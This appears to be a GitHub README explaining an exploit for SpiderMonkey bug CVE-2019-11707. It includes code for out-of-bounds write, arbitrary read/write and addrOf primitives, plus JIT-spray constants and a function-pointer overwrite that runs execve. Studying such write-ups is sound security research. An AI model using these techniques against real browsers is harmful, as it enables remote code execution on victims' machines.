tunnelshade / cve-2019-11707

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

SpiderMonkey - CVE-2019-11707

Bug: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820

Screenshots

source

exploit

Files

  • exploit.js - Actual exploit, prepended by saelo's util.js & Int64.js.
  • stager.js - Used for creating constants, prepended by saelo's util.js & Int64.js.
  • stager.py - Used to assemble instructions using keystone. Output is fed to stager.js.

Exploit Overview

  • Use the type confusion to write beyond a typed array buffer (done in setup()).
const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]
  • TLDR: Write beyond exploit_pack[0]'s backing buffer to data pointer field of exploit_pack[1]. Point it to address of data pointer field of exploit_pack[2].
      // setup()
      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
  • Arbitrary RW possible, address can be set as contents of exploit_pack[1] which internally modifies data pointer of exploit_pack[2]. Then use exploit_pack[2] to read or write memory.
function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}
  • Using exploit_pack itself, construct a addrOf primitive.
function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}
  • Do a baseline JIT spray, traverse some structures to get jit function pointer, find interesting offset to jump. Overwrite the actual function pointer with this offset.

JIT Spray

  • In short, we can force functions like below into r-x pages.
const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}
  • This looks something like below after jit. You can see our constant 0xdeadc0debaad.

Actual JIT

gef➤  disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
   0x0000085a6e604531:  49 bb 80 ad ba de c0 ad de 07   movabs r11,0x7deadc0debaad80
   0x0000085a6e60453b:  4c 89 5d a8                      mov    QWORD PTR [rbp-0x58],r11
   0x0000085a6e60453f:  49 bb c0 48 8b 44 24 28 eb 07   movabs r11,0x7eb2824448b48c0
End of assembler dump.
  • If same bytes are started to be parsed as instructions from a different offset like below, everything changes. This is essense of JIT spray.

Offset JIT

gef➤  disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
   0x0000085a6e604542:  48 8b 44 24 28  mov    rax,QWORD PTR [rsp+0x28]
   0x0000085a6e604547:  eb 07           jmp    0x85a6e604550
End of assembler dump.
  • Idea is to work around 4c 89 5d XX 49 bb 00 bytes somehow with 7 bytes that we control. We can jump over these bytes using a relative jmp.
$ rasm2 -a x86 -b 64 "jmp 7"
eb05
  • So a relative jmp takes 2 bytes, we have 5 bytes to write our assembly instructions. JIT function parameters are available at an offset on stack when our function is called. Hence our JIT function was taking parameters.

registers

  • As per X86-64 calling convention for syscalls on linux, we need following things in registers for a execve syscall.
rax: syscall number
rdi: program path
rsi: argv
rdx: envp
  • Following mov instructions are a blessing to move values from an offset on stack to relevant registers. It is exactly of 5 bytes.
$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
  • So, we can construct our constants. Refer to stager.py -> stager.js to see how those were generated.

  • Just overwrite the actual JIT function pointer in object structure and replace it with offset. Call the function with parameters.

write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(),
  new Int64(pathAddr).asDouble(),
  new Int64(argvBufferAddr).asDouble(),
  new Int64(environBufferAddr).asDouble());
  • Given the way stager is written, it is easy to do any syscall, with 3 arguments.

Super Useful links

About

https://bugs.chromium.org/p/project-zero/issues/detail?id=1820


Languages

Language:JavaScript 94.7%Language:Python 5.3%